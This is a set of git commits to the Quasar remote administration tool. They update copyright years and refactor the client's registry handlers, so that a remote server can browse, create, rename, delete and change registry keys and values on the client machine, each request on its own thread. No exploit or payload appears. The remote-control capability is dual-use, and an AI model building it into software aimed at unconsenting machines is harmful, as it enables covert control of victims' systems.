From 88864bbbcf22385a3a425c0af46fe79ec6b22da8 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 11 Mar 2016 15:10:24 +0100 Subject: [PATCH 001/229] Added #423 closes #423 --- Client/app.manifest | 17 ++++++++--------- Server/app.manifest | 17 ++++++++--------- 2 files changed, 16 insertions(+), 18 deletions(-) diff --git a/Client/app.manifest b/Client/app.manifest index cebc371f6..17e6b6645 100644 --- a/Client/app.manifest +++ b/Client/app.manifest @@ -1,19 +1,13 @@ - - - + - + - - - - @@ -26,4 +20,9 @@ - + + + true + + + \ No newline at end of file diff --git a/Server/app.manifest b/Server/app.manifest index cebc371f6..17e6b6645 100644 --- a/Server/app.manifest +++ b/Server/app.manifest @@ -1,19 +1,13 @@ - - - + - + - - - - @@ -26,4 +20,9 @@ - + + + true + + + \ No newline at end of file From a4c6be4924a0ae9115af431e1d99bfc1f29ffa0a Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 11 Mar 2016 15:12:54 +0100 Subject: [PATCH 002/229] Updated copyright years --- Client.Tests/Properties/AssemblyInfo.cs | 2 +- Server.Tests/Properties/AssemblyInfo.cs | 2 +- Server/Properties/AssemblyInfo.cs | 2 +- Server/Properties/Resources.Designer.cs | 22 +++++++++++----------- Server/Properties/Resources.resx | 2 +- 5 files changed, 15 insertions(+), 15 deletions(-) diff --git a/Client.Tests/Properties/AssemblyInfo.cs b/Client.Tests/Properties/AssemblyInfo.cs index 3404431a0..e6266715d 100644 --- a/Client.Tests/Properties/AssemblyInfo.cs +++ b/Client.Tests/Properties/AssemblyInfo.cs @@ -10,7 +10,7 @@ [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("ClientTests")] -[assembly: AssemblyCopyright("Copyright © 2015")] +[assembly: AssemblyCopyright("Copyright © 2016")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] diff --git a/Server.Tests/Properties/AssemblyInfo.cs b/Server.Tests/Properties/AssemblyInfo.cs index 5393dc607..a0abbb3f5 100644 --- a/Server.Tests/Properties/AssemblyInfo.cs +++ b/Server.Tests/Properties/AssemblyInfo.cs @@ -10,7 +10,7 @@ [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Server.Tests")] -[assembly: AssemblyCopyright("Copyright © 2015")] +[assembly: AssemblyCopyright("Copyright © 2016")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] diff --git a/Server/Properties/AssemblyInfo.cs b/Server/Properties/AssemblyInfo.cs index 45c23d221..4a1cc7c18 100644 --- a/Server/Properties/AssemblyInfo.cs +++ b/Server/Properties/AssemblyInfo.cs @@ -10,7 +10,7 @@ [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Quasar")] -[assembly: AssemblyCopyright("Copyright © MaxX0r 2015")] +[assembly: AssemblyCopyright("Copyright © MaxX0r 2016")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] [assembly: InternalsVisibleTo("Server.Tests")] diff --git a/Server/Properties/Resources.Designer.cs b/Server/Properties/Resources.Designer.cs index bc06d6697..90732bc27 100644 --- a/Server/Properties/Resources.Designer.cs +++ b/Server/Properties/Resources.Designer.cs @@ -280,6 +280,16 @@ internal static System.Drawing.Bitmap mouse_delete { } } + /// + /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Quasar_Server { + get { + object obj = ResourceManager.GetObject("Quasar_Server", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. /// @@ -442,7 +452,7 @@ internal static System.Drawing.Bitmap terminal { /// /// Sucht eine lokalisierte Zeichenfolge, die Quasar - Remote Administration Tool - /// Copyright (C) 2015 MaxX0r + /// Copyright (C) 2016 MaxX0r /// /// Quasar is free software: you can redistribute it and/or modify /// it under the terms of the GNU General Public License as published by @@ -508,15 +518,5 @@ internal static System.Drawing.Bitmap world_link { return ((System.Drawing.Bitmap)(obj)); } } - - /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap Quasar_Server { - get { - object obj = ResourceManager.GetObject("Quasar_Server", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } } } diff --git a/Server/Properties/Resources.resx b/Server/Properties/Resources.resx index 5c58fb903..5c013f163 100644 --- a/Server/Properties/Resources.resx +++ b/Server/Properties/Resources.resx @@ -195,7 +195,7 @@ Quasar - Remote Administration Tool - Copyright (C) 2015 MaxX0r + Copyright (C) 2016 MaxX0r Quasar is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by From c47aa5fa0bb8b62f99b4c028537ec376f19b0354 Mon Sep 17 00:00:00 2001 From: StingRaptor Date: Fri, 11 Mar 2016 18:17:41 +0100 Subject: [PATCH 003/229] Fix error handling of registry key delete - Activated exceptions for registrykey delete operation - Prevents invalid delete operations to be performed on server --- Client/Core/Extensions/RegistryKeyExtensions.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Client/Core/Extensions/RegistryKeyExtensions.cs index 6682ad49c..014fdb95d 100644 --- a/Client/Core/Extensions/RegistryKeyExtensions.cs +++ b/Client/Core/Extensions/RegistryKeyExtensions.cs @@ -112,7 +112,7 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) { try { - key.DeleteSubKeyTree(name, false); + key.DeleteSubKeyTree(name, true); return true; } catch From 44575b95d118b5b89a2d6c3f345b0924546c3a66 Mon Sep 17 00:00:00 2001 From: StingRaptor Date: Sun, 13 Mar 2016 16:16:53 +0100 Subject: [PATCH 004/229] Changed threading of registrySeeker and refactor code - Changed part of the structure for RegistrySeeker.cs - Removed Threading from RegistrySeeker.cs and added it to RegistryHandler.cs - Removed global RegistrySeeker from CommandHandler.cs --- Client/Core/Commands/CommandHandler.cs | 1 - Client/Core/Commands/RegistryHandler.cs | 271 ++++++++++++------------ Client/Core/Registry/RegistrySeeker.cs | 172 +++------------ 3 files changed, 174 insertions(+), 270 deletions(-) diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index ba5ab5347..8206bff9a 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -14,6 +14,5 @@ public static partial class CommandHandler private static Dictionary _canceledDownloads = new Dictionary(); private const string DELIMITER = "$E$"; private static readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads - public static RegistrySeeker seeker; } } \ No newline at end of file diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs index 19feefc03..d0bd44434 100644 --- a/Client/Core/Commands/RegistryHandler.cs +++ b/Client/Core/Commands/RegistryHandler.cs @@ -5,6 +5,9 @@ using xClient.Core.Networking; using xClient.Core.Registry; using xClient.Core.Extensions; +using System.Diagnostics; +using Microsoft.Win32; +using System.Threading; namespace xClient.Core.Commands { @@ -27,98 +30,94 @@ public static partial class CommandHandler public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client) { - try + new Thread(() => { - - seeker = new RegistrySeeker(); - xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse(); - - seeker.SearchComplete += (object o, SearchCompletedEventArgs e) => + try { - responsePacket.Matches = e.Matches.ToArray(); - responsePacket.RootKey = packet.RootKeyName; + RegistrySeeker seeker = new RegistrySeeker(); + seeker.BeginSeeking(packet.RootKeyName); - responsePacket.Execute(client); - }; - - // If the search parameters of the packet is null, the server is requesting to obtain the root keys. - if (packet.RootKeyName == null) - { - seeker.Start(new RegistrySeekerParams(null)); - } - else - { - seeker.Start(packet.RootKeyName); + responsePacket.RootKey = packet.RootKeyName; + responsePacket.Matches = seeker.Matches; } - } - catch - { } + catch { } + responsePacket.Execute(client); + }).Start(); } #region Registry Key Edit public static void HandleCreateRegistryKey(xClient.Core.Packets.ServerPackets.DoCreateRegistryKey packet, Client client) { - xClient.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryKeyResponse(); - string errorMsg = ""; - string newKeyName = ""; - try - { - responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(packet.ParentPath, out newKeyName, out errorMsg)); - } - catch (Exception ex) + new Thread(() => { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; + xClient.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryKeyResponse(); + string errorMsg = ""; + string newKeyName = ""; + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(packet.ParentPath, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; - responsePacket.Match = new RegSeekerMatch(newKeyName, new List(), 0); - responsePacket.ParentPath = packet.ParentPath; + responsePacket.Match = new RegSeekerMatch(newKeyName, new List(), 0); + responsePacket.ParentPath = packet.ParentPath; - responsePacket.Execute(client); + responsePacket.Execute(client); + }).Start(); } public static void HandleDeleteRegistryKey(xClient.Core.Packets.ServerPackets.DoDeleteRegistryKey packet, Client client) { - xClient.Core.Packets.ClientPackets.GetDeleteRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryKeyResponse(); - string errorMsg = ""; - try - { - responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(packet.KeyName, packet.ParentPath, out errorMsg)); - } - catch (Exception ex) + new Thread(() => { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.ParentPath = packet.ParentPath; - responsePacket.KeyName = packet.KeyName; - - responsePacket.Execute(client); + xClient.Core.Packets.ClientPackets.GetDeleteRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryKeyResponse(); + string errorMsg = ""; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(packet.KeyName, packet.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = packet.ParentPath; + responsePacket.KeyName = packet.KeyName; + + responsePacket.Execute(client); + }).Start(); } public static void HandleRenameRegistryKey(xClient.Core.Packets.ServerPackets.DoRenameRegistryKey packet, Client client) { - xClient.Core.Packets.ClientPackets.GetRenameRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetRenameRegistryKeyResponse(); - string errorMsg = ""; - try - { - responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(packet.OldKeyName, packet.NewKeyName, packet.ParentPath, out errorMsg)); - } - catch (Exception ex) + new Thread(() => { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.ParentPath = packet.ParentPath; - responsePacket.OldKeyName = packet.OldKeyName; - responsePacket.NewKeyName = packet.NewKeyName; - - responsePacket.Execute(client); + xClient.Core.Packets.ClientPackets.GetRenameRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetRenameRegistryKeyResponse(); + string errorMsg = ""; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(packet.OldKeyName, packet.NewKeyName, packet.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = packet.ParentPath; + responsePacket.OldKeyName = packet.OldKeyName; + responsePacket.NewKeyName = packet.NewKeyName; + + responsePacket.Execute(client); + }).Start(); } #endregion @@ -127,84 +126,96 @@ public static void HandleRenameRegistryKey(xClient.Core.Packets.ServerPackets.Do public static void HandleCreateRegistryValue(xClient.Core.Packets.ServerPackets.DoCreateRegistryValue packet, Client client) { - xClient.Core.Packets.ClientPackets.GetCreateRegistryValueResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryValueResponse(); - string errorMsg = ""; - string newKeyName = ""; - try - { - responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(packet.KeyPath, packet.Kind, out newKeyName, out errorMsg)); - } - catch (Exception ex) + new Thread(() => { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.Value = new RegValueData(newKeyName, packet.Kind, packet.Kind.GetDefault()); - responsePacket.KeyPath = packet.KeyPath; - - responsePacket.Execute(client); + xClient.Core.Packets.ClientPackets.GetCreateRegistryValueResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryValueResponse(); + string errorMsg = ""; + string newKeyName = ""; + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(packet.KeyPath, packet.Kind, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.Value = new RegValueData(newKeyName, packet.Kind, packet.Kind.GetDefault()); + responsePacket.KeyPath = packet.KeyPath; + + responsePacket.Execute(client); + }).Start(); } public static void HandleDeleteRegistryValue(xClient.Core.Packets.ServerPackets.DoDeleteRegistryValue packet, Client client) { - xClient.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryValueResponse(); - string errorMsg = ""; - try + new Thread(() => { - responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(packet.KeyPath, packet.ValueName, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.ValueName = packet.ValueName; - responsePacket.KeyPath = packet.KeyPath; - - responsePacket.Execute(client); + xClient.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryValueResponse(); + string errorMsg = ""; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(packet.KeyPath, packet.ValueName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ValueName = packet.ValueName; + responsePacket.KeyPath = packet.KeyPath; + + responsePacket.Execute(client); + }).Start(); } public static void HandleRenameRegistryValue(xClient.Core.Packets.ServerPackets.DoRenameRegistryValue packet, Client client) { - xClient.Core.Packets.ClientPackets.GetRenameRegistryValueResponse responsePacket = new Packets.ClientPackets.GetRenameRegistryValueResponse(); - string errorMsg = ""; - try + new Thread(() => { - responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(packet.OldValueName, packet.NewValueName, packet.KeyPath, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.KeyPath = packet.KeyPath; - responsePacket.OldValueName = packet.OldValueName; - responsePacket.NewValueName = packet.NewValueName; - - responsePacket.Execute(client); + xClient.Core.Packets.ClientPackets.GetRenameRegistryValueResponse responsePacket = new Packets.ClientPackets.GetRenameRegistryValueResponse(); + string errorMsg = ""; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(packet.OldValueName, packet.NewValueName, packet.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = packet.KeyPath; + responsePacket.OldValueName = packet.OldValueName; + responsePacket.NewValueName = packet.NewValueName; + + responsePacket.Execute(client); + }).Start(); } public static void HandleChangeRegistryValue(xClient.Core.Packets.ServerPackets.DoChangeRegistryValue packet, Client client) { - xClient.Core.Packets.ClientPackets.GetChangeRegistryValueResponse responsePacket = new Packets.ClientPackets.GetChangeRegistryValueResponse(); - string errorMsg = ""; - try + new Thread(() => { - responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(packet.Value, packet.KeyPath, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.KeyPath = packet.KeyPath; - responsePacket.Value = packet.Value; - - responsePacket.Execute(client); + xClient.Core.Packets.ClientPackets.GetChangeRegistryValueResponse responsePacket = new Packets.ClientPackets.GetChangeRegistryValueResponse(); + string errorMsg = ""; + try + { + responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(packet.Value, packet.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = packet.KeyPath; + responsePacket.Value = packet.Value; + + responsePacket.Execute(client); + }).Start(); } #endregion diff --git a/Client/Core/Registry/RegistrySeeker.cs b/Client/Core/Registry/RegistrySeeker.cs index 598fba931..5fa342ff3 100644 --- a/Client/Core/Registry/RegistrySeeker.cs +++ b/Client/Core/Registry/RegistrySeeker.cs @@ -63,110 +63,66 @@ public class RegistrySeeker #region Fields - /// - /// Fired when the RegistrySeeker has finished searching through the registry. - /// - public event EventHandler SearchComplete; - - /// - /// Fired when a RegistryKey is found. - /// - public event EventHandler MatchFound; - - /// - /// The worker thread that does the searching/traversal through the registry. - /// - private BackgroundWorker searcher; - /// /// The lock used to ensure thread safety. /// private readonly object locker = new object(); - /// - /// The search arguments to use for customizable registry searching. - /// - public RegistrySeekerParams searchArgs; - /// /// The list containing the matches found during the search. /// private List matches; - /// - /// The queue of registry key paths to analyze further. - /// - private Queue pendingKeys; + public RegSeekerMatch[] Matches + { + get + { + if (matches != null) + return matches.ToArray(); + return null; + } + } #endregion public RegistrySeeker() { - searcher = new BackgroundWorker() { WorkerSupportsCancellation = true, WorkerReportsProgress = true }; - - searcher.DoWork += new DoWorkEventHandler(worker_DoWork); - searcher.RunWorkerCompleted += new RunWorkerCompletedEventHandler(worker_RunWorkerCompleted); - searcher.ProgressChanged += new ProgressChangedEventHandler(worker_ProgressChanged); + matches = new List(); } - public void Start(string rootKeyName) + public void BeginSeeking(string rootKeyName) { - if (rootKeyName != null && rootKeyName.Length > 0) + if (!String.IsNullOrEmpty(rootKeyName)) { - RegistryKey root = GetRootKey(rootKeyName); - - if (root != null) + using(RegistryKey root = GetRootKey(rootKeyName)) { //Check if this is a root key or not - if (root.Name != rootKeyName) + if (root != null && root.Name != rootKeyName) { - //Must get the subKey name by removing root and '\\' + //Must get the subKey name by removing root and '\' string subKeyName = rootKeyName.Substring(root.Name.Length + 1); - root = root.OpenReadonlySubKeySafe(subKeyName); + using(RegistryKey subroot = root.OpenReadonlySubKeySafe(subKeyName)) + { + if(subroot != null) + Seek(subroot); + } + } + else + { + Seek(root); } } - - // Make sure that a root was found - if (root != null) - Start(new RegistrySeekerParams(root)); } - } - - public void Start(RegistrySeekerParams args) - { - searchArgs = args; - - matches = new List(); - searcher.RunWorkerAsync(); - } - - void worker_ProgressChanged(object sender, ProgressChangedEventArgs e) - { - MatchFound(this, new MatchFoundEventArgs((RegSeekerMatch)e.UserState)); - } - - public void Stop() - { - if (searcher.IsBusy) + else { - lock (locker) - { - searcher.CancelAsync(); - // Wait until it is done... Similar to synchronous stop. - Monitor.Wait(locker); - } + Seek(null); } } - void worker_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e) - { - SearchComplete(this, new SearchCompletedEventArgs(matches)); - } - - void worker_DoWork(object sender, DoWorkEventArgs e) + private void Seek(RegistryKey rootKey) { // Get root registrys - if (searchArgs.RootKey == null) + if (rootKey == null) { foreach (RegistryKey key in RegistrySeeker.ROOT_KEYS) //Just need root key so process it @@ -175,73 +131,20 @@ void worker_DoWork(object sender, DoWorkEventArgs e) else { //searching for subkeys to root key - Search(searchArgs.RootKey); - } - } - - void Search(string rootKeyName) - { - try - { - using (RegistryKey key = GetRootKey(rootKeyName).OpenReadonlySubKeySafe(rootKeyName)) - { - if (key != null) - { - Search(key); - } - } + Search(rootKey); } - catch - { } } - void Search(RegistryKey rootKey) + private void Search(RegistryKey rootKey) { - string rootKeyName = rootKey.Name.Substring(rootKey.Name.LastIndexOf('\\') + 1); - - RegistryKey subKey = null; - string keyName; - int cropIndex = rootKey.Name.Length + 1; - pendingKeys = new Queue(rootKey.GetSubKeyNames()); - - while (pendingKeys.Count > 0) + foreach(string subKeyName in rootKey.GetSubKeyNames()) { - if (searcher.CancellationPending) - { - lock (locker) - { - // Allow for a synchronous stop. - Monitor.Pulse(locker); - return; - } - } - - keyName = pendingKeys.Dequeue(); - - try - { - subKey = rootKey.OpenSubKey(keyName); - } - catch (SecurityException) - { - subKey = null; - } - finally - { - ProcessKey(subKey, keyName); - } + RegistryKey subKey = rootKey.OpenReadonlySubKeySafe(subKeyName); + ProcessKey(subKey, subKeyName); } } private void ProcessKey(RegistryKey key, string keyName) - { - if (searcher.CancellationPending) - return; - - MatchData(key, keyName); - } - - private void MatchData(RegistryKey key, string keyName) { if (key != null) { @@ -267,11 +170,7 @@ private void AddMatch(string key, List values, int subkeycount) { RegSeekerMatch match = new RegSeekerMatch(key, values, subkeycount); - if (MatchFound != null) - searcher.ReportProgress(0, match); - matches.Add(match); - } public static RegistryKey GetRootKey(string subkey_fullpath) @@ -295,10 +194,5 @@ public static RegistryKey GetRootKey(string subkey_fullpath) throw new Exception("Invalid rootkey, could not be found"); } } - - public bool IsBusy - { - get { return searcher.IsBusy; } - } } } From f4378ae56e6eb4d2895dcc41863b7838d42a241f Mon Sep 17 00:00:00 2001 From: StingRaptor Date: Sun, 13 Mar 2016 16:25:30 +0100 Subject: [PATCH 005/229] Removed unnecessary functions from RegValueData.cs - Removed GetDataAsString() - Removed GetKindAsString() - Added needed conversions to FrmRegistryEditor.cs --- Client/Core/Registry/RegValueData.cs | 12 +----------- Server/Core/Registry/RegValueData.cs | 12 +----------- Server/Forms/FrmRegistryEditor.cs | 11 ++++++++--- 3 files changed, 10 insertions(+), 25 deletions(-) diff --git a/Client/Core/Registry/RegValueData.cs b/Client/Core/Registry/RegValueData.cs index ee97c43fe..0d5cd7875 100644 --- a/Client/Core/Registry/RegValueData.cs +++ b/Client/Core/Registry/RegValueData.cs @@ -21,19 +21,9 @@ public RegValueData(string name, RegistryValueKind kind, object data) Data = data; } - public string GetDataAsString() - { - return Kind.RegistryTypeToString(Data); - } - - public string GetKindAsString() - { - return Kind.RegistryTypeToString(); - } - public override string ToString() { - return string.Format("({0}:{1}:{2})", Name, GetKindAsString(), GetDataAsString()); + return string.Format("({0}:{1}:{2})", Name, Kind, Data); } } } diff --git a/Server/Core/Registry/RegValueData.cs b/Server/Core/Registry/RegValueData.cs index 432db3cba..27084c3d6 100644 --- a/Server/Core/Registry/RegValueData.cs +++ b/Server/Core/Registry/RegValueData.cs @@ -21,19 +21,9 @@ public RegValueData(string name, RegistryValueKind kind, object data) Data = data; } - public string GetDataAsString() - { - return Kind.RegistryTypeToString(Data); - } - - public string GetKindAsString() - { - return Kind.RegistryTypeToString(); - } - public override string ToString() { - return string.Format("({0}:{1}:{2})", Name, GetKindAsString(), GetDataAsString()); + return string.Format("({0}:{1}:{2})", Name, Kind, Data); } } } diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs index fba7a0e49..74a152de4 100644 --- a/Server/Forms/FrmRegistryEditor.cs +++ b/Server/Forms/FrmRegistryEditor.cs @@ -10,6 +10,7 @@ using xServer.Controls; using xServer.Core.Networking; using xServer.Core.Registry; +using xServer.Core.Extensions; namespace xServer.Forms { @@ -288,7 +289,9 @@ public void AddValueToList(string keyPath, RegValueData value) if (tvRegistryDirectory.SelectedNode == key) { - RegistryValueLstItem item = new RegistryValueLstItem(value.Name, value.GetKindAsString(), value.GetDataAsString()); + string kind = value.Kind.RegistryTypeToString(); + string data = value.Kind.RegistryTypeToString(value.Data); + RegistryValueLstItem item = new RegistryValueLstItem(value.Name, kind, data); //unselect all lstRegistryKeys.SelectedIndices.Clear(); lstRegistryKeys.Items.Add(item); @@ -394,7 +397,7 @@ public void ChangeValueFromList(string keyPath, RegValueData value) if (index != -1) { RegistryValueLstItem valueItem = (RegistryValueLstItem)lstRegistryKeys.Items[index]; - valueItem.Data = value.GetDataAsString(); + valueItem.Data = value.Kind.RegistryTypeToString(value.Data);; } } else @@ -428,7 +431,9 @@ private void PopulateLstRegistryKeys(List values) { foreach (var value in values) { - RegistryValueLstItem item = new RegistryValueLstItem(value.Name, value.GetKindAsString(), value.GetDataAsString()); + string kind = value.Kind.RegistryTypeToString(); + string data = value.Kind.RegistryTypeToString(value.Data); + RegistryValueLstItem item = new RegistryValueLstItem(value.Name, kind, data); lstRegistryKeys.Items.Add(item); } } From 5e3e097edb8800f3023b714739c30081a1def317 Mon Sep 17 00:00:00 2001 From: StingRaptor Date: Mon, 14 Mar 2016 10:30:30 +0100 Subject: [PATCH 006/229] Changed RegSeekerMatch.cs to use an Array instead of a List - Converted the Data in RegSeekerMatch.cs to an Array - Updated RegistryHandler to handle RegSeekerMatch Data as an Array - Updated FrmRegistryEditor to handle RegSeekerMatch Data as an Array --- Client/Core/Commands/RegistryHandler.cs | 3 +- Client/Core/Registry/RegSeekerMatch.cs | 4 +-- Client/Core/Registry/RegistrySeeker.cs | 4 +-- Server/Core/Registry/RegSeekerMatch.cs | 4 +-- Server/Forms/FrmRegistryEditor.cs | 40 +++++++++++++------------ 5 files changed, 28 insertions(+), 27 deletions(-) diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs index d0bd44434..97f01869a 100644 --- a/Client/Core/Commands/RegistryHandler.cs +++ b/Client/Core/Commands/RegistryHandler.cs @@ -5,7 +5,6 @@ using xClient.Core.Networking; using xClient.Core.Registry; using xClient.Core.Extensions; -using System.Diagnostics; using Microsoft.Win32; using System.Threading; @@ -66,7 +65,7 @@ public static void HandleCreateRegistryKey(xClient.Core.Packets.ServerPackets.Do } responsePacket.ErrorMsg = errorMsg; - responsePacket.Match = new RegSeekerMatch(newKeyName, new List(), 0); + responsePacket.Match = new RegSeekerMatch(newKeyName, null, 0); responsePacket.ParentPath = packet.ParentPath; responsePacket.Execute(client); diff --git a/Client/Core/Registry/RegSeekerMatch.cs b/Client/Core/Registry/RegSeekerMatch.cs index 279817b3d..a62a301de 100644 --- a/Client/Core/Registry/RegSeekerMatch.cs +++ b/Client/Core/Registry/RegSeekerMatch.cs @@ -22,10 +22,10 @@ namespace xClient.Core.Registry public class RegSeekerMatch { public string Key { get; private set; } - public List Data { get; private set; } + public RegValueData[] Data { get; private set; } public bool HasSubKeys { get; private set; } - public RegSeekerMatch(string key, List data, int subkeycount) + public RegSeekerMatch(string key, RegValueData[] data, int subkeycount) { Key = key; Data = data; diff --git a/Client/Core/Registry/RegistrySeeker.cs b/Client/Core/Registry/RegistrySeeker.cs index 5fa342ff3..f100722f3 100644 --- a/Client/Core/Registry/RegistrySeeker.cs +++ b/Client/Core/Registry/RegistrySeeker.cs @@ -157,7 +157,7 @@ private void ProcessKey(RegistryKey key, string keyName) values.Add(new RegValueData(valueName, valueType, valueData)); } - AddMatch(keyName, values, key.SubKeyCount); + AddMatch(keyName, values.ToArray(), key.SubKeyCount); } else { @@ -166,7 +166,7 @@ private void ProcessKey(RegistryKey key, string keyName) } - private void AddMatch(string key, List values, int subkeycount) + private void AddMatch(string key, RegValueData[] values, int subkeycount) { RegSeekerMatch match = new RegSeekerMatch(key, values, subkeycount); diff --git a/Server/Core/Registry/RegSeekerMatch.cs b/Server/Core/Registry/RegSeekerMatch.cs index a46de6cbb..bf0a348e0 100644 --- a/Server/Core/Registry/RegSeekerMatch.cs +++ b/Server/Core/Registry/RegSeekerMatch.cs @@ -22,10 +22,10 @@ namespace xServer.Core.Registry public class RegSeekerMatch { public string Key { get; private set; } - public List Data { get; private set; } + public RegValueData[] Data { get; private set; } public bool HasSubKeys { get; private set; } - public RegSeekerMatch(string key, List data, int subkeycount) + public RegSeekerMatch(string key, RegValueData[] data, int subkeycount) { Key = key; Data = data; diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs index 74a152de4..adb17c3dd 100644 --- a/Server/Forms/FrmRegistryEditor.cs +++ b/Server/Forms/FrmRegistryEditor.cs @@ -272,16 +272,17 @@ public void AddValueToList(string keyPath, RegValueData value) lstRegistryKeys.Invoke((MethodInvoker)delegate { List ValuesFromNode = null; - if (key.Tag != null && key.Tag.GetType() == typeof(List)) { - ValuesFromNode = (List)key.Tag; + if (key.Tag != null && key.Tag.GetType() == typeof(RegValueData[])) { + ValuesFromNode = ((RegValueData[])key.Tag).ToList(); ValuesFromNode.Add(value); + key.Tag = ValuesFromNode.ToArray(); } else { //The tag has a incorrect element or is missing data ValuesFromNode = new List(); ValuesFromNode.Add(value); - key.Tag = ValuesFromNode; + key.Tag = ValuesFromNode.ToArray(); } //Deactivate sorting @@ -316,15 +317,16 @@ public void DeleteValueFromList(string keyPath, string valueName) lstRegistryKeys.Invoke((MethodInvoker)delegate { List ValuesFromNode = null; - if (key.Tag != null && key.Tag.GetType() == typeof(List)) + if (key.Tag != null && key.Tag.GetType() == typeof(RegValueData[])) { - ValuesFromNode = (List)key.Tag; + ValuesFromNode = ((RegValueData[])key.Tag).ToList(); ValuesFromNode.RemoveAll(value => value.Name == valueName); + key.Tag = ValuesFromNode.ToArray(); } else { //Tag has incorrect element or is missing data - key.Tag = new List(); + key.Tag = new RegValueData[] {}; } if (tvRegistryDirectory.SelectedNode == key) @@ -350,9 +352,9 @@ public void RenameValueFromList(string keyPath, string oldName, string newName) 